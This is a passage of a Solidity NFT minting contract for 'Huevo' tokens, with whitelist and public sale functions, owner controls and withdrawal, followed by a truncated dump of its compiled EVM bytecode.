"ipfs://QmdVr8LfqASfSaM83FVkymTUQuZarhQ3YiFKKoVJAMbd8P/"; baseExtension = ".json"; price = 0.05 ether; saleState = 0; maxSupply = 1111; teamSupply = 180; maxMintPerTransaction = 5; presaleData.price = 0.045 ether; presaleData.merkleroot = 0x55ec3c6a9f4cbcae5fc2544b56d09805613f9e9095f2c894ffe5b20458bdaa9a; } function reservedTeamMint(uint256 _amount, address _to) external onlyOwner { require(teamSupply >= _amount, "Exceeds airdrop for team"); teamSupply -= _amount; _safeMint(_to, _amount); } function isApprovedForAll(address owner, address operator) override public view returns (bool) { ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress); if (address(proxyRegistry.proxies(owner)) == operator) { return true; } return super.isApprovedForAll(owner, operator); } function startPublicSale() external onlyOwner() { require(saleState != 2, "Sale already started"); saleState = 2; } function startWhitelistSale() external whenSaleStopped() whenMerklerootSet() onlyOwner() { saleState = 1; } function stopSale() external whenSaleStarted() onlyOwner() { saleState = 0; } function mintPublic(uint256 _numTokens) external payable whenPublicSaleStarted() { uint256 supply = totalSupply(); require(_numTokens <= maxMintPerTransaction, "Minting too many Huevo tokens at once!"); require(supply.add(_numTokens) + teamSupply <= maxSupply, "Not enough Huevo Tokens remaining."); require(_numTokens.mul(price) <= msg.value, "Incorrect amount sent!"); _safeMint(msg.sender, _numTokens); } function mintWhitelist(uint256 _numTokens, bytes32[] calldata _merkleproof) external payable whenWhiteListSaleActive() whenMerklerootSet() whenAddressOnWhitelist(_merkleproof) { uint256 supply = totalSupply(); require(_numTokens <= maxMintPerTransaction, "Minting too many Huevo tokens at once!"); require(supply.add(_numTokens) + teamSupply <= maxSupply, "Not enough Huevo Tokens remaining."); require(_numTokens.mul(presaleData.price) <= msg.value, "Incorrect amount sent!"); _safeMint(msg.sender, _numTokens); } function setBaseURI(string memory _URI) external onlyOwner { baseURI = _URI; } function setBaseExtension(string memory _extension) external onlyOwner { baseExtension = _extension; } function setPrice(uint256 _price) external onlyOwner { price = _price; } function setMerkleroot(bytes32 _merkleRoot) public whenSaleStopped() onlyOwner { presaleData.merkleroot = _merkleRoot; } function withdraw() external onlyOwner nonReentrant { uint256 balance = address(this).balance; (bool success, ) = _msgSender().call{value: balance}(""); require(success, "Failed to send"); } function walletMints(address owner) public view returns(uint256) { return _numberMinted(owner); } function tokensInWallet(address _owner) public view returns(uint256[] memory) { uint256 tokenCount = balanceOf(_owner); uint256[] memory tokensId = new uint256[](tokenCount); for(uint256 i; i < tokenCount; i++){ tokensId[i] = tokenOfOwnerByIndex(_owner, i); } return tokensId; } function tokenURI(uint256 _tokenId) public view override returns (string memory) { require(_exists(_tokenId), "Token does not exist."); return bytes(baseURI).length > 0 ? string( abi.encodePacked( baseURI, Strings.toString(_tokenId), baseExtension ) ) : ""; } function mintableCount() public view returns(uint256) { uint256 supply = totalSupply(); return maxSupply.sub(supply).sub(teamSupply); } /* replacement for burn functionality as not in ERC721a, supply is only alowed to be reduced */ function reduceSupplyEmergency(uint256 _maxSupply) external onlyOwner { require(_maxSupply < maxSupply); maxSupply = _maxSupply; } }
0x60806040526004361061025c5760003560e01c80636c0360eb11610144578063c6682862116100b6578063e36b0b371161007a578063e36b0b37146108c8578063e985e9c5146108df578063efd0cbf91461091c578063f0293fd314610938578063f2fde38b14610975578063ff44e9151461099e5761025c565b8063c6682862146107e1578063c87b56dd1461080c578063cd7c032614610849578063d5abeb0114610874578063da3ef23f1461089f5761025c565b806391b7f5ed1161010857806391b7f5ed146106e757806392f6c4391461071057806395d89b4114610739578063a035b1fe14610764578063a22cb4651461078f578063b88d4fde146107b85761025c565b80636c0360eb1461061457806370a082311461063f578063715018a61461067c578063877bc761146106935780638da5cb5b146106bc5761025c565b80632cfac6ec116101dd5780634f6ccce7116101a15780634f6ccce7146104dd57806355f804b31461051a5780635cb06d4c14610543578063603f4d521461056f57806361c5c9351461059a5780636352211e146105d75761025c565b80632cfac6ec1461040a5780632f745c59146104355780633ccfd60b146104725780634254337e1461048957806342842e0e146104b45761025c565b8063081812fc11610224578063081812fc14610339578063095ea7b3146103765780630c1c972a1461039f57806318160ddd146103b657806323b872dd146103e15761025c565b806301f569971461026157806301ffc9a71461028c57806303585e24146102c9578063061431a8146102f257806306fdde031461030e575b600080fd5b34801561026d57600080fd5b506102766109b5565b60405161028391906150fe565b60405180910390f35b34801561029857600080fd5b506102b360048036038101906102ae9190613d5b565b6109bb565b6040516102c09190614cc1565b60405180910390f35b3480156102d557600080fd5b506102f060048036038101906102eb9190613e17565b610b05565b005b61030c60048036038101906103079190613e7c565b610b99565b005b34801561031a57600080fd5b50610323610e00565b6040516103309190614cdc565b60405180910390f35b34801561034557600080fd5b50610360600480360381019061035b9190613e17565b610e92565b60405161036d9190614c38565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190613cf6565b610f17565b005b3480156103ab57600080fd5b506103b4611030565b005b3480156103c257600080fd5b506103cb6110fc565b6040516103d891906150fe565b60405180910390f35b3480156103ed57600080fd5b5061040860048036038101906104039190613bf0565b611105565b005b34801561041657600080fd5b5061041f611115565b60405161042c91906150fe565b60405180910390f35b34801561044157600080fd5b5061045c60048036038101906104579190613cf6565b61111b565b60405161046991906150fe565b60405180910390f35b34801561047e57600080fd5b50610487611319565b005b34801561049557600080fd5b5061049e6114a7565b6040516104ab91906150fe565b60405180910390f35b3480156104c057600080fd5b506104db60048036038101906104d69190613bf0565b6114e3565b005b3480156104e957600080fd5b5061050460048036038101906104ff9190613e17565b611503565b60405161051191906150fe565b60405180910390f35b34801561052657600080fd5b50610541600480360381019061053c9190613dd6565b611556565b005b34801561054f57600080fd5b506105586115ec565b604051610566929190615119565b60405180910390f35b34801561057b57600080fd5b506105846115fe565b60405161059191906150fe565b60405180910390f35b3480156105a657600080fd5b506105c160048036038101906105bc9190613b8b565b611604565b6040516105ce9190614c9f565b60405180910390f35b3480156105e357600080fd5b506105fe60048036038101906105f99190613e17565b6116fe565b60405161060b9190614c38565b60405180910390f35b34801561062057600080fd5b50610629611714565b6040516106369190614cdc565b60405180910390f35b34801561064b57600080fd5b5061066660048036038101906106619190613b8b565b6117a2565b60405161067391906150fe565b60405180910390f35b34801561068857600080fd5b5061069161188b565b005b34801561069f57600080fd5b506106ba60048036038101906106b59190613e40565b611913565b005b3480156106c857600080fd5b506106d16119fb565b6040516106de9190614c38565b60405180910390f35b3480156106f357600080fd5b5061070e60048036038101906107099190613e17565b611a25565b005b34801561071c57600080fd5b5061073760048036038101906107329190613d32565b611aab565b005b34801561074557600080fd5b5061074e611b79565b60405161075b9190614cdc565b60405180910390f35b34801561077057600080fd5b50610779611c0b565b60405161078691906150fe565b60405180910390f35b34801561079b57600080fd5b506107b660048036038101906107b19190613cba565b611c11565b005b3480156107c457600080fd5b506107df60048036038101906107da9190613c3f565b611d92565b005b3480156107ed57600080fd5b506107f6611dee565b6040516108039190614cdc565b60405180910390f35b34801561081857600080fd5b50610833600480360381019061082e9190613e17565b611e7c565b6040516108409190614cdc565b60405180910390f35b34801561085557600080fd5b5061085e611f27565b60405161086b9190614c38565b60405180910390f35b34801561088057600080fd5b50610889611f3f565b60405161089691906150fe565b60405180910390f35b3480156108ab57600080fd5b506108c660048036038101906108c19190613dd6565b611f45565b005b3480156108d457600080fd5b506108dd611fdb565b005b3480156108eb57600080fd5b5061090660048036038101906109019190613bb4565b6120a6565b6040516109139190614cc1565b60405180910390f35b61093660048036038101906109319190613e17565b61219a565b005b34801561094457600080fd5b5061095f600480360381019061095a9190613b8b565b6122f9565b60405161096c91906150fe565b60405180910390f35b34801561098157600080fd5b5061099c60048036038101906109979190613b8b565b61230b565b005b3480156109aa57600080fd5b506109b3612403565b005b600b5481565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480610a8657507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610aee57507f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610afe5750610afd82612519565b5b9050919050565b610b0d612583565b73ffffffffffffffffffffffffffffffffffffffff16610b2b6119fb565b73ffffffffffffffffffffffffffffffffffffffff1614610b81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7890614efe565b60405180910390fd5b600a548110610b8f57600080fd5b80600a8190555050565b600160095414610bde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd5906150be565b60405180910390fd5b6000801b6010600101541415610c29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2090614e7e565b60405180910390fd5b818180806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050610ca18160106001015433604051602001610c869190614bab565b6040516020818303038152906040528051906020012061258b565b610ce0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd790614dfe565b60405180910390fd5b6000610cea6110fc565b9050600b54851115610d31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2890614d7e565b60405180910390fd5b600a54600d54610d4a87846125a290919063ffffffff16565b610d5491906152b5565b1115610d95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8c90614f9e565b60405180910390fd5b34610dae601060000154876125b890919063ffffffff16565b1115610def576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de6906150de565b60405180910390fd5b610df933866125ce565b5050505050565b606060018054610e0f906154e2565b80601f0160208091040260200160405190810160405280929190818152602001828054610e3b906154e2565b8015610e885780601f10610e5d57610100808354040283529160200191610e88565b820191906000526020600020905b815481529060010190602001808311610e6b57829003601f168201915b5050505050905090565b6000610e9d826125ec565b610edc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed39061509e565b60405180910390fd5b6005600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610f22826116fe565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8a90614f5e565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610fb2612583565b73ffffffffffffffffffffffffffffffffffffffff161480610fe15750610fe081610fdb612583565b6120a6565b5b611020576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101790614e5e565b60405180910390fd5b61102b8383836125f9565b505050565b611038612583565b73ffffffffffffffffffffffffffffffffffffffff166110566119fb565b73ffffffffffffffffffffffffffffffffffffffff16146110ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a390614efe565b60405180910390fd5b600260095414156110f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e99061507e565b60405180910390fd5b6002600981905550565b60008054905090565b6111108383836126ab565b505050565b600d5481565b6000611126836117a2565b8210611167576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115e90614cfe565b60405180910390fd5b60006111716110fc565b905060008060005b838110156112d7576000600360008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff161461126b57806000015192505b8773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112c357868414156112b4578195505050505050611313565b83806112bf90615514565b9450505b5080806112cf90615514565b915050611179565b506040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130a9061503e565b60405180910390fd5b92915050565b611321612583565b73ffffffffffffffffffffffffffffffffffffffff1661133f6119fb565b73ffffffffffffffffffffffffffffffffffffffff1614611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90614efe565b60405180910390fd5b600260085414156113db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d29061505e565b60405180910390fd5b6002600881905550600047905060006113f2612583565b73ffffffffffffffffffffffffffffffffffffffff168260405161141590614c23565b60006040518083038185875af1925050503d8060008114611452576040519150601f19603f3d011682016040523d82523d6000602084013e611457565b606091505b505090508061149b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114929061501e565b60405180910390fd5b50506001600881905550565b6000806114b26110fc565b90506114dd600d546114cf83600a54612c5290919063ffffffff16565b612c5290919063ffffffff16565b91505090565b6114fe83838360405180602001604052806000815250611d92565b505050565b600061150d6110fc565b821061154e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154590614d9e565b60405180910390fd5b819050919050565b61155e612583565b73ffffffffffffffffffffffffffffffffffffffff1661157c6119fb565b73ffffffffffffffffffffffffffffffffffffffff16146115d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c990614efe565b60405180910390fd5b80600e90805190602001906115e8929190613901565b5050565b60108060000154908060010154905082565b60095481565b60606000611611836117a2565b905060008167ffffffffffffffff811115611655577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156116835781602001602082028036833780820191505090505b50905060005b828110156116f35761169b858261111b565b8282815181106116d4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101818152505080806116eb90615514565b915050611689565b508092505050919050565b600061170982612c68565b600001519050919050565b600e8054611721906154e2565b80601f016020809104026020016040519081016040528092919081815260200182805461174d906154e2565b801561179a5780601f1061176f5761010080835404028352916020019161179a565b820191906000526020600020905b81548152906001019060200180831161177d57829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611813576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180a90614e9e565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff169050919050565b611893612583565b73ffffffffffffffffffffffffffffffffffffffff166118b16119fb565b73ffffffffffffffffffffffffffffffffffffffff1614611907576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fe90614efe565b60405180910390fd5b6119116000612dc3565b565b61191b612583565b73ffffffffffffffffffffffffffffffffffffffff166119396119fb565b73ffffffffffffffffffffffffffffffffffffffff161461198f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198690614efe565b60405180910390fd5b81600d5410156119d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119cb90614d5e565b60405180910390fd5b81600d60008282546119e69190615396565b925050819055506119f781836125ce565b5050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611a2d612583565b73ffffffffffffffffffffffffffffffffffffffff16611a4b6119fb565b73ffffffffffffffffffffffffffffffffffffffff1614611aa1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9890614efe565b60405180910390fd5b80600c8190555050565b600060095414611af0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae79061507e565b60405180910390fd5b611af8612583565b73ffffffffffffffffffffffffffffffffffffffff16611b166119fb565b73ffffffffffffffffffffffffffffffffffffffff1614611b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6390614efe565b60405180910390fd5b8060106001018190555050565b606060028054611b88906154e2565b80601f0160208091040260200160405190810160405280929190818152602001828054611bb4906154e2565b8015611c015780601f10611bd657610100808354040283529160200191611c01565b820191906000526020600020905b815481529060010190602001808311611be457829003601f168201915b5050505050905090565b600c5481565b611c19612583565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7e90614f1e565b60405180910390fd5b8060066000611c94612583565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16611d41612583565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051611d869190614cc1565b60405180910390a35050565b611d9d8484846126ab565b611da984848484612e89565b611de8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ddf90614fbe565b60405180910390fd5b50505050565b600f8054611dfb906154e2565b80601f0160208091040260200160405190810160405280929190818152602001828054611e27906154e2565b8015611e745780601f10611e4957610100808354040283529160200191611e74565b820191906000526020600020905b815481529060010190602001808311611e5757829003601f168201915b505050505081565b6060611e87826125ec565b611ec6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ebd90614ebe565b60405180910390fd5b6000600e8054611ed5906154e2565b905011611ef15760405180602001604052806000815250611f20565b600e611efc83613020565b600f604051602001611f1093929190614bf2565b6040516020818303038152906040525b9050919050565b73a5409ec958c83c3f309868babaca7c86dcb077c181565b600a5481565b611f4d612583565b73ffffffffffffffffffffffffffffffffffffffff16611f6b6119fb565b73ffffffffffffffffffffffffffffffffffffffff1614611fc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fb890614efe565b60405180910390fd5b80600f9080519060200190611fd7929190613901565b5050565b600060095411612020576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201790614e1e565b60405180910390fd5b612028612583565b73ffffffffffffffffffffffffffffffffffffffff166120466119fb565b73ffffffffffffffffffffffffffffffffffffffff161461209c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209390614efe565b60405180910390fd5b6000600981905550565b60008073a5409ec958c83c3f309868babaca7c86dcb077c190508273ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1663c4552791866040518263ffffffff1660e01b81526004016121109190614c38565b60206040518083038186803b15801561212857600080fd5b505afa15801561213c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121609190613dad565b73ffffffffffffffffffffffffffffffffffffffff161415612186576001915050612194565b61219084846131cd565b9150505b92915050565b6002600954146121df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d690614e3e565b60405180910390fd5b60006121e96110fc565b9050600b54821115612230576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222790614d7e565b60405180910390fd5b600a54600d5461224984846125a290919063ffffffff16565b61225391906152b5565b1115612294576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161228b90614f9e565b60405180910390fd5b346122aa600c54846125b890919063ffffffff16565b11156122eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122e2906150de565b60405180910390fd5b6122f533836125ce565b5050565b600061230482613261565b9050919050565b612313612583565b73ffffffffffffffffffffffffffffffffffffffff166123316119fb565b73ffffffffffffffffffffffffffffffffffffffff1614612387576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161237e90614efe565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156123f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ee90614d1e565b60405180910390fd5b61240081612dc3565b50565b600060095414612448576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161243f9061507e565b60405180910390fd5b6000801b6010600101541415612493576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248a90614e7e565b60405180910390fd5b61249b612583565b73ffffffffffffffffffffffffffffffffffffffff166124b96119fb565b73ffffffffffffffffffffffffffffffffffffffff161461250f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250690614efe565b60405180910390fd5b6001600981905550565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b600033905090565b600082612598858461334a565b1490509392505050565b600081836125b091906152b5565b905092915050565b600081836125c6919061533c565b905092915050565b6125e8828260405180602001604052806000815250613423565b5050565b6000805482109050919050565b826005600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550818373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a4505050565b60006126b682612c68565b90506000816000015173ffffffffffffffffffffffffffffffffffffffff166126dd612583565b73ffffffffffffffffffffffffffffffffffffffff1614806127395750612702612583565b73ffffffffffffffffffffffffffffffffffffffff1661272184610e92565b73ffffffffffffffffffffffffffffffffffffffff16145b806127555750612754826000015161274f612583565b6120a6565b5b905080612797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161278e90614f3e565b60405180910390fd5b8473ffffffffffffffffffffffffffffffffffffffff16826000015173ffffffffffffffffffffffffffffffffffffffff1614612809576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161280090614ede565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612879576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161287090614dbe565b60405180910390fd5b61288685858560016138e2565b61289660008484600001516125f9565b6001600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff160392506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055506001600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff160192506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060405180604001604052808573ffffffffffffffffffffffffffffffffffffffff1681526020014267ffffffffffffffff168152506003600085815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055509050506000600184612a9c91906152b5565b9050600073ffffffffffffffffffffffffffffffffffffffff166003600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612be257612b12816125ec565b15612be1576040518060400160405280846000015173ffffffffffffffffffffffffffffffffffffffff168152602001846020015167ffffffffffffffff168152506003600083815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055509050505b5b838573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4612c4a86868660016138e8565b505050505050565b60008183612c609190615396565b905092915050565b612c70613987565b612c79826125ec565b612cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612caf90614d3e565b60405180910390fd5b60008290505b6000600360008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614612daa578092505050612dbe565b508080612db6906154b8565b915050612cbe565b919050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000612eaa8473ffffffffffffffffffffffffffffffffffffffff166138ee565b15613013578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02612ed3612583565b8786866040518563ffffffff1660e01b8152600401612ef59493929190614c53565b602060405180830381600087803b158015612f0f57600080fd5b505af1925050508015612f4057506040513d601f19601f82011682018060405250810190612f3d9190613d84565b60015b612fc3573d8060008114612f70576040519150601f19603f3d011682016040523d82523d6000602084013e612f75565b606091505b50600081511415612fbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fb290614fbe565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050613018565b600190505b949350505050565b60606000821415613068576040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525090506131c8565b600082905060005b6000821461309a57808061308390615514565b915050600a82613093919061530b565b9150613070565b60008167ffffffffffffffff8111156130dc577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f19166020018201604052801561310e5781602001600182028036833780820191505090505b5090505b600085146131c1576001826131279190615396565b9150600a85613136919061558b565b603061314291906152b5565b60f81b81838151811061317e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856131ba919061530b565b9450613112565b8093505050505b919050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156132d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132c990614dde565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff169050919050565b60008082905060005b8451811015613418576000858281518110613397577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015190508083116133d85782816040516020016133bb929190614bc6565b604051602081830303815290604052805190602001209250613404565b80836040516020016133eb929190614bc6565b6040516020818303038152906040528051906020012092505b50808061341090615514565b915050613353565b508091505092915050565b600080549050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415613499576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161349090614ffe565b60405180910390fd5b6134a2816125ec565b156134e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016134d990614fde565b60405180910390fd5b60008311613525576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161351c90614f7e565b60405180910390fd5b61353260008583866138e2565b6000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1681526020016000820160109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16815250509050604051806040016040528085836000015161362f919061526f565b6fffffffffffffffffffffffffffffffff168152602001858360200151613656919061526f565b6fffffffffffffffffffffffffffffffff16815250600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555090505060405180604001604052808673ffffffffffffffffffffffffffffffffffffffff1681526020014267ffffffffffffffff168152506003600084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550905050600082905060005b858110156138c557818773ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46138656000888488612e89565b6138a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161389b90614fbe565b60405180910390fd5b81806138af90615514565b92505080806138bd90615514565b9150506137f4565b50806000819055506138da60008785886138e8565b505050505050565b50505050565b50505050565b600080823b905060008111915050919050565b82805461390d906154e2565b90600052602060002090601f01602090048101928261392f5760008555613976565b82601f1061394857805160ff1916838001178555613976565b82800160010185558215613976579182015b8281111561397557825182559160200191906001019061395a565b5b50905061398391906139c1565b5090565b6040518060400160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600067ffffffffffffffff1681525090565b5b808211156139da5760008160009055506001016139c2565b5090565b60006139f16139ec84615173565b615142565b905082815260208101848484011115613a0957600080fd5b613a14848285615476565b509392505050565b6000613a2f613a2a846151a3565b615142565b905082815260208101848484011115613a4757600080fd5b613a52848285615476565b509392505050565b600081359050613a6981615696565b92915050565b60008083601f840112613a8157600080fd5b8235905067ffffffffffffffff811115613a9a57600080fd5b602083019150836020820283011115613ab257600080fd5b9250929050565b600081359050613ac8816156ad565b92915050565b600081359050613add816156c4565b92915050565b600081359050613af2816156db565b92915050565b600081519050613b07816156db565b9291